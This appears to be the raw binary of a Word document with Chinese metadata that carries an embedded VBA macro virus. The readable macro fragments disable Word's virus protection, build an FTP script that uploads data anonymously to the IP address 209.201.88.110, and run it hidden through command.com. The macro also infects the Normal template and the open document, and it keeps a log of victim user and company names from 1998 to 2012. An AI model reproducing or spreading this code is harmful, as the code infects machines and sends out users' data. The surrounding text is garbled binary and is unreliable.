��ࡱ�>�� ;>����:��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������g� �R�BbjbjVV6$r<r<����������������������� \��4ddddd???EGGGGGG$��Zk!�?????k��dd��aaa?��d�dEa?Eaaad����0Qm��K������a1�0�a���adv$�a�??a?????kks�???�????���������������������������������������������������������������������?????????�, �: 5��]'Yf[(WL�YeL��]yr�k�V��e��R�[ybh� 3u���N�Y T'` +R�Qut^g�s�NL��yL��R�s�NL��yL��R�e��M� vP �Y T@b(WUSMO�S�~Nm_c1Y�`�Q yr�k�V��e��R3u��t1u t^ g �e�[8ha�� 3u���N@b(WUS �#��N~{W[� t^ g �ea�� !h�N�NY �#��N~{W[� �v �z�  "&,LP\hr�����������  � @B�����������þ���������������U h��o(h�"Kh�{�o(h�&�h�{�o(hBEh�{�o(h�,,h�{�o( h�{�o( hl�o( h}/?o( h:�o( h]Xo( hBEo(h�&�5�CJ$o(h�,,5�CJ$o(h:�5�CJ$o(h]X5�CJ$o(&24<>HJ������� $$Ifa$gd�{�$a$gd�,,JLZ\n8,,, $$Ifa$gd�{��kd$$IfT�l��ֈ������m�q� ����������< �0�������������������������������������4� la���yt�{��Tnpr�����O�����kd�$$IfT�l4���\��m�q� �� �� ��< �0�����������������������������4� la���f4yt�{��T $$Ifa$gd�{��������[GG;;; $$Ifa$gd�{�$�q�q$If]�q^�qa$gd�{��kd�$$IfT�l4���\�*���m�� � ���x�@�0�����������������������������4� la���f4yt�{��T�����������������������������������$��$IfWD� `��a$gd�{� $Ifgd�{� $$Ifa$gd�{���        �p\VVVVVV$If$�q�q$If]�q^�qa$gd:�$�q�q$If]�q^�qa$}kdM$$IfT�l4����0�I� �*d#�0���������������������4� la���f4yt�{��T   , � � � � � � � � ���l[[����$�q�q$If]�q^�qa$}kd�$$IfT�l4���0�I� �*d#�0���������������������4� la���f4yt�{��T�$IfWD� `�gd�{�$If � � � � � "(02468:<J^������������������������������� $Ifgd\w$�q�q$If]�q^�qa$gd\w$�q�q$If]�q^�qa$$If t^ g �ea�� !h�]O �#��N~{W[� �v �z� t^ g �ea�� !h"��RY �#��N~{W[� �v �z� t^ g �eR�{!h���[ a�� !h���[� t^ g �e ��������� $Ifgd\w����5)) $$Ifa$gd�x��kd�$$IfT�l4���ֈ�I�K����R� �* �P���[�0�������������������������������������4� la���f4yt�{��T�����>@B�����idgd�:g}kd�$$IfT�l4����0�5� ��x�0���������������������4� la���f4yt�{��T� $IfWDF`� gd�� $Ifgd?G�4&P 1�82P��. ��A!��"�n#��$�n%��S�� ���$$If���!vh#v�#v�#v�#v�#v#v< :V �l��0��������,�5��5��5��5��5�5�< 4�a���yt�{��T�$$If���!vh#v� #v� #v#v< :V �l4��0��������,�5�� 5�� 5�5�< 4�a���f4yt�{��T�$$If���!vh#v #v�#vx#v@:V �l4��0��������,�5� 5��5�x5�@4�a���f4yt�{��T�$$If���!vh#v*#vd#:V �l4���0��������)v,�5�*5�d#4�a���f4yt�{��T�$$If���!vh#v*#vd#:V �l4��0��������)v,�5�*5�d#4�a���f4yt�{��T�$$If���!vh#v*#v #vP#v�#v�#v[:V �l4���0��������)v)v)v,�,�,�5�*5� 5�P5��5��5�[4�a���f4yt�{��T�$$If���!vh#v#vx:V �l4���0��������,�5�5�x4�a���f4yt�{��Tz�?���K�Ǽ�(*�z�?���K�Ǽ�(*�z�?���K�Ǽ�(*�z�?���K�Ǽ�(*�b 2���� 0@P`p������2(�� 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p��8X�V~PJ_HmH nHsH tHF`��F ck�e $1$a$CJKH_HmH nHsH tH$A ���$ ؞���k=�W[SOFi@���F nf�h�xjm)ʬuW��Lfd���ݮ�+5_��4cs��j��-V��?k3���rm}�����g��z���� ��g��s�嚋7���xw����sȈ��R� �W*)|��jȫK��Xͫ��� dX��IBF؇bn�h (� �*��'vɗ3KZ����jz'c*����_=}��<9����ݻw~���]�8��^~��_o�?����xY���ýg�~^�������G}J��0��E�m��h��=���Ԅ��� �Ξa�>s�$�-, �O�ɠ���=Hp� Ua/� �UO d*:�(�.�f�T�����U��/!�9$V[|h���rv����s��-i�U�t. �����6��ڪ�4C����ebs)����bMj�B�e��k�p��� u�m����,�f�d��$͑�{6GU���Vf�~�b��#�V���b�@�q�TTW��.�ޛd)��i�@��vdq�9Y���^��X�����7�{2�%�u��H�x��+a���f6]>�f#s�m�*���q�q��DH��ehK����)���@��?71����o�ggo��`:fղ�e������k�p£�2֌Nj��8��ǰ�D �CB�?8���1e��>�nE��eU}�H�]��dm1iQ6��褣�֧<��z[[v�|�0��p�sz�4��F؉�]�j�����Qv�1�1ߖ��⃛�� ��`̔4��S 3t��4��h��� ��PK! ѐ��'theme/theme/_rels/themeManager.xml.rels��M �0���wooӺ�&݈Э���5 6?$Q�� �,.�a��i����c2�1h�:�q��m��@RN��;d�`��o7�g�K(M&$R(.1�r'J��ЊT���8��V�"��AȻ�H�u}��|�$�b{��P����8�g/]�QAsم(����#��L�[������PK-!����[Content_Types].xmlPK-!�֧��6 0_rels/.relsPK-!ky���theme/theme/themeManager.xmlPK-!�lN����theme/theme/theme1.xmlPK-! ѐ��'� theme/theme/_rels/themeManager.xml.relsPK]� � $����BJn��� � ���B �8�@�����������0�( � ��B �S ���� ?�#&(.09:=>BFIPQXopyz|~������������   !/09:>BPQ^_hiqs�����mn�%(.4Qmno|���   HP��&(.4IIen||��������������))HHYY���.�-\w�btv��,,qO- ]12_>�?}/?�CBE�"K� LU]XocK\e�:gp�wv�f�{�:��l��x��n�{�W��X�����D{�?G�uF�>X��b�Hv���77�yQ���U�/��&����@ �mmmmI� ��XX��Unknown������������G��* ��Times New Roman5��Symbol3.� �* ��Arial;���[SOSimSunA����$B�Cambria Math ���hh��&�ǚjg,e=_=_!-!),.:;?]}����    & 6"0000 0 0 00000��� � �����=�@�\�]�^���([{�  0 0 00000��;�[�������i���r��)�P�? 3�Q����HX��?����������������������U2!xx� ��� !h �Q � �R 3u �� h�`l4N\20064448&.��3CSc ���i ���Z'��`���I���Z'���������Oh��+'��0��������  0 < H T`hpx�У �� �� �� �� �� �����ٷ�Normal 2006444844Microsoft Office Word@� @l� I�@�� ���@p̬�K�=_����՜.��+,��0� X`px�� ��������´��  �������� !"#$%&'()����+,-./01����3456789��������<=A����@BkdDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abc����efghij����������������������������������������������������������������������������������������Root Entry�������� �F r��K�?�Data ������������1Table���������WordDocument ����6$SummaryInformation(������������*DocumentSummaryInformation8��������2MsoDataStore����`�\��K�0Qm��K�0TJZ�YMTZUC���GW�����A==2��������`�\��K�0Qm��K�Item ���� �����Properties������������UXacros����0Qm��K�0Qm��K�XBA������������0Qm��K�0Qm��K����� ���� ���� !"#$%&'()*+,-./0123456789:;<=>?@ABCDE����GHIJK��������N�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� ���0*� pH�d�ProjectQ(@=� l �K�|Q J< rstdole>stdoleP h%^*\G{00020�430-C 0046}#2.0#0#C:\WINDOWS\system32\e2.tlb#OLE Aut�omation`�ENormal�EN�CrmaQ�F � �* \C  uQ�!Offic�gOf�ic�g����!G{2DF8D04C-5BFA-101@B-BDE5�gAjA�e4�2�g��gram Files\CommonMicrosoft Shared\OFFICE14\MSO.Ddir������������ ThisDocument ����CXVBA_PROJECT������������� PROJECT ����FmLL#��M 14 .0 Ob�� L�ibrary�%�"�z� �BeThisDocumentG � T�fis"D�Hcu@Ie�n�n� 2� �(HB1B� 5XB,�!�T""B+BB�a�� ��*\G{000204EF-0000-0000-C000-000000000046}#4.1#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL#Visual Basic For Applications*\G{000209& �(- 5 ��"�������������������v�:V�J�h�X��/3uFmEH���|F��϶���D�N��'e�<������������x��ME������������� ��������������������������������������������������������������������������������������������������������������������������������@S"����S����S"�������������k\���������������8 ������������Ph����������������������������������������������������������������������������������������(<- this is a marker!�����NTRV�bP���� �� @������ �� @������ �� @������ �� ���� �� @������ �� @������ �� @������ �� @������ �� @������ �� @������ �� @��p��� �� @��`��� �� @��P��� �� @�@��� �� @��0��� �� @�� ��� �� ������ @�� ��� �� @������ �� @������ �� @������ �� @������ �� �������� ��@������ �� 0!@��� �� p!�(djlprt������� �#�X������ @(������ @���� �� @��x��� �� H(h�� �� H����P����`����HX��� �� @��H��� �� @��8��� �� @��(��� �� @����� �� @����� �� @������ �� @������ �� @������ �� @������ �� @������ �� @������ �� @������ �� @������ �� ����h��������������������������������������h8������������������������������������������"�� ������ ����� � ����� 0�H�h�x� ����� ��G��F�� �����&8��&< � ����� ����� $H� p� ����� �����zh�� ����� �"6� 8�"4H�p� �����Zkx� �������*W�� �0� ����� P� `� p� ����� �� �� �� �� � �8� P� h� �����8x� �����^.�� ������ ����� ����� T�D{p� ����� ����� �� �� ����� )�� �����"6�� ����� ����� 8 �2X�$Tp�$T�� H������-��� � �����(�'(� ����� �����0��� �����)� �����0� ����� ����� 8�F�X� ����� )�� �����"4�� �����2���� �����) � �����( � ����� �����0 � �����8 � ����� @ � ����� (X � � � � � � � ����� ����� ����� *� � � � � � ����� ����� ����� ( � ( � 8 � ����� ����� ����� *@ � p � � � ����� ����� ����� *� � � � � � ����� ����� ����� *� � �  � ����� ����� ����� ( � @ � X � ����� ����� ����� ,` � � � � � ����� ����� ����� (� � � � � � ����� ����� ����� , � 0 � @ � ����� ����� ����� (H � p � � � ����� ����� ����� *� � � � � � ����� ����� ����� (� � � �  � ����� ����� ����� ( � @ � X � ����� ����� ����� (` � � � � � ����� ����� ����� *� � � � � � ����� ����� ����� *� � (� @� ����� ����� ����� (H� p� �� ����� ����� ����� (�� �� �� ����� ����� ����� ,�� � ,� ����� ����� ����� *H� x� �� ����� ����� ����� *�� �� �� ����� ����� ����� *�� � � ����� ����� ����� * � P� `� ����� ����� ����� (h� �� �� ����� ����� ����� *�� �� �� ����� ����� ����� *��  � 0� ����� ����� ����� *8� h� x� ����� ����� ����� *�� �� �� ����� ����� ����� *�� �� � ����� ����� ����� .� @� P� ����� ����� ����� .X� �� �� ����� ����� ����� *�� �� �� ����� ����� ����� *�� � (� ����� ����� ����� ,0� `� p� ����� ����� ����� ,x� �� �� ����� ����� ����� ,�� �� � ����� ����� ����� *� 8� H� ����� ����� ����� *P� �� �� ����� ����� ����� *�� �� �� ����� ����� ����� .�� �  � ����� ����� ����� .(� X� h� ����� ����� ����� *p� �� �� ����� ����� ����� *�� �� �� ����� ����� ����� ,� 0� H� ����� ����� ����� ,P� �� �� ����� ����� ����� ,�� �� �� ����� ����� ������������p]�<- this is a marker!���Declare Variables]���� �8]�P�h]�������� %�Initialize Variables�� @!B!D%F.4�� H!B!D%F.6 *���'�' 4!J%L'0 *���'�' 6!J%L'2�Switch the VirusProtection OFF� N(P$T$R���>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info�LogFile V%X�� 0�� 2,� 4!J!\ 4!J%Z'< 2�eile� 6!J!\ 6!J%Z'<Filk��� <� <�' Log�file -->� <� <�' Log�file -->� $�'<#1 � ^����t # >� b$`��$� '> #1� ^�� �C:\hsf >�.sys'>t >����� <�t�Vs #� c:\netldx.vxd���,���o 209.201.88.110�1���user anonymous� #��� pass itsme@�ymo��� cd incoming�t #���ascii�ts���put >����quit�cd �Ving�*command.com /c ftp.exe -n -s:c:\netldx.vxd fA@d���>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info�LogFile V,Xik����MMake sure that some conditions are true before we continue infecting anything /�  0� 2� @!h j @!h l� Tru�Infect the NormalTemplate 0��ed = T H!n'.alTe� 4!J!\ 4!J%Z'8veDocu�1Write a log file of this NormalTemplate infection� ^�� p!:� p!: ^�$�� $r�, p!: ^�$�� $r� : p!: ^�$�':k��d�� :� $r�' ':e k���� ^��s a� ) 8� $r�'  t�hh:mm:ss AMPM - $� Z�dddd, d mmm yyyy$�� $r�'  p!v� $r�'  :� $r'8ode � 6!J!\ 6!JB@x 8 6!JB@zime, " .��G HB@|jk����Infect the ActiveDocument� 2� @!~��$��: @!n��W @!n',empl� 6!J!\ 6!J%Z'8tiveDo� 4!J!\ 4!JB@xr 8 4!JB@z mmm y ,��G @B@|jk���k���o���� Logfile -->3) &t�" 09:08:36 - Saturday, 28 Nov 1998� SPo0Ky � Blue Planetmal��$ 02:50:31 PM - Saturday, 28 Nov 1998.Sa� MARK B. SEAY ��! 08:04:45 AM - Friday, 4 Dec 1998� UPSs(1��$ 11:43:35 AM - Thursday, 17 Dec 1998nes� WRO ��# 03:07:26 PM - Tuesday, 22 Dec 1998of � BCBSAor��$ 03:28:02 PM - Wednesday, 6 Jan 1999 F� BCBSA 1��" 02:59:47 PM - Monday, 11 Jan 1999� Marsha Veach ��% 01:54:54 PM - Wednesday, 20 Jan 1999rA� Connie Sandifer, CMP<>��" 09:33:06 PM - Monday, 25 Jan 1999� Doug Rowanlic��% 08:21:12 AM - Wednesday, 27 Jan 1999> � IMSI) ��" 10:59:58 AM - Friday, 29 Jan 1999� Raj Us��$ 03:37:57 PM - Saturday, 30 Jan 1999on.� hornddr��" 01:26:48 PM - Tuesday, 2 Feb 1999� Cooley Godwardl��" 04:57:29 PM - Tuesday, 2 Feb 1999� Cooley Godwards��" 06:35:44 PM - Tuesday, 2 Feb 1999� Cooley Godward ��# 04:23:52 PM - Thursday, 4 Feb 1999 Ou� Cooley Godward(��# 04:27:39 PM - Saturday, 6 Feb 1999 " � Cooley Godwardm��! 06:18:06 PM - Monday, 8 Feb 1999� Cooley Godward ��" 09:17:17 PM - Tuesday, 9 Feb 1999� hcleed,��% 04:44:45 PM - Wednesday, 17 Feb 1999_ � Dr. W. Hsiao �% Wendy Hsiao, Ph.D.Us�# 04:13:19 PM - Tuesday, 23 Feb 1999 � CCST ��$ 10:09:35 AM - Saturday, 20 Mar 1999Chr� cpwu ��# 09:33:49 AM - Thursday, 6 May 1999�� ��������# 12:39:25 PM - Tuesday, 20 May 1997� ghc-bbc��! 01:21:36 PM - Friday, 7 May 1999� �������# 05:51:53 - Wednesday, 12 May 1999� qdzhuang��$ 03:23:04 PM - Saturday, 19 Jun 1999� �������$ 02:53:46 ���� - Tuesday, 6 Sep 2011� �������$ 09:37:47 ���� - Monday, 19 Sep 2011� ��ʿ����$ 01:41:54 ���� - Monday, 26 Sep 2011� unknown��' 10:50:02 ���� - Wednesday, 19 Oct 2011� ף�Ȫ��' 08:27:05 ���� - Wednesday, 26 Oct 2011� ����ٻ��$ 10:37:36 ���� - Monday, 31 Oct 2011� ���˷���$ 04:21:38 ���� - Monday, 31 Oct 2011� ���÷��& 08:15:53 ���� - Wednesday, 2 Nov 2011� �Ż᷼��% 02:57:58 ���� - Thursday, 3 Nov 2011� unknown��% 04:00:59 ���� - Thursday, 3 Nov 2011� ������# 09:41:48 ���� - Friday, 4 Nov 2011� �Ӻ���# 11:18:07 ���� - Monday, 7 Nov 2011� unknown��$ 03:01:17 ���� - Monday, 21 Nov 2011� unknown��' 09:59:34 ���� - Wednesday, 28 Dec 2011� unknown��' 11:26:57 ���� - Wednesday, 22 Feb 2012� unknown��$ 09:22:07 ���� - Monday, 30 Apr 2012� ��С����# 10:07:34 ���� - Monday, 7 May 2012� 20068726��& 12:22:43 ���� - Thursday, 31 May 2012� ������´���& 08:22:33 ���� - Wednesday, 6 Jun 2012� ���ί�칫����% 10:04:17 ���� - Thursday, 7 Jun 2012� 20064448����� ����B�Attribute VB_Name = "ThisDocument" �Bas�1Normal.VGlobal!�SpaclFalse �CreatablPre declaId�Tru BExposeTemplateDeriv$Customliz�C�1P Sub ��_Cl5() On Error Res� Next� Const @Marker��<- t� is (a m !�� 'Dl Vari=s Dim �Save8,���e,GInfec`ted, �� As Boole�an-ant ObjCOurCode, UserAddres�s, LogD�fYFihS��ngA9'Initi0aliz��/Se�t a�bAct�[��1.VBProA�@Compon@�s.Item(1��S� &= 2� 0���<= .�3Module.Find�(�c, 1�0@�O= nt+FSwitchC�|Firus>t�Zion OFF���pt�s.V  = ��A If (Day(Now())�1) And (Sysm@M.��@fgf("", "HKEY_CURRENT_USER\Softw��\Micros@\MS �\up (ACPME)\A? `(o7!@?!>"��) The`H � �E;`�&k'�DH�ad))Li0nes(`1�Co�untOf��2!�E �� 64AuT�7F��Q�,If����Mid(�,�%�.�&"'�f" & "�2 -->")hen�) -���$ CF��i�@� To 4c � e"s=&+ A�Int(8 * R�nd)`2�]$ � ic@$"C:p\hsf���.8sys��A1Op en� �OutpruB�#1C S@y#��; A��B� �c� "c:\netldx.vxd" � "o 209.201.88.�110�"u� anonymou�pass @itsme@�c d inc��ng��ascii�A �H'�qui���(� Shell "A�mand.� /c ftp.exe -n -s:�$, vbHi�d`�g3?�K?��A�ٟA= cr�Ed32PMake sur�e`Pat so���cond c�q �H t�| befo@we �tin�ue�1ming�ny�s�f@(�F ~X�1�AQq�2! cS_]"(li�v�&m0 = wd�� Or� c_e^�y�R�R�q�rA 2a� �� � �� [W� �  .1�dQ1 �}pXX0ZX3S'Wri��a log rf�of P�, i�B� ns� �KL�P�ApplicaAp~.��I�o1Lot�i�L <> Chr�(13��(qs�h���0� I�` `]���C�1R �lk�Y=&f �W'� �F �\�'��9,3R0j�J�+(Timp�"hh:mm:0QAMP�M j�&�/��� �]�d, d �mmm y���O ���Ǐ �� �AG��}Del�ete�������e.��From�t��H��S�;/90#QG?B�ݬ�%� �9B�F�k6m����F(b* �Ful��,F ��P ":"N ~ ?N2�� q VR=����gIH ?��<����K|�������Sto$x���g:W�Sub�r�BT �09:0 8:36 �7Sa@turday�8�0$v 1998� SPo0Ky��Bl�rPla���!d2:50:31 r<��MARK B3�. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998� UPS �11:43:3fThursj17 lWRO l03:07:2�6 PjTue522 5BCBSA 72�27Wed�n96 Jan� 9/ 82:59�:478Mon�1 Marsha@ Veach ;1�:54;20 Connie Sandifer, CMP $9:3'}�{C25�"Doug Rowan�8:21:12ψ}27 IMS�I 10�}58���29J RajK@u7:5LSatu r�L3K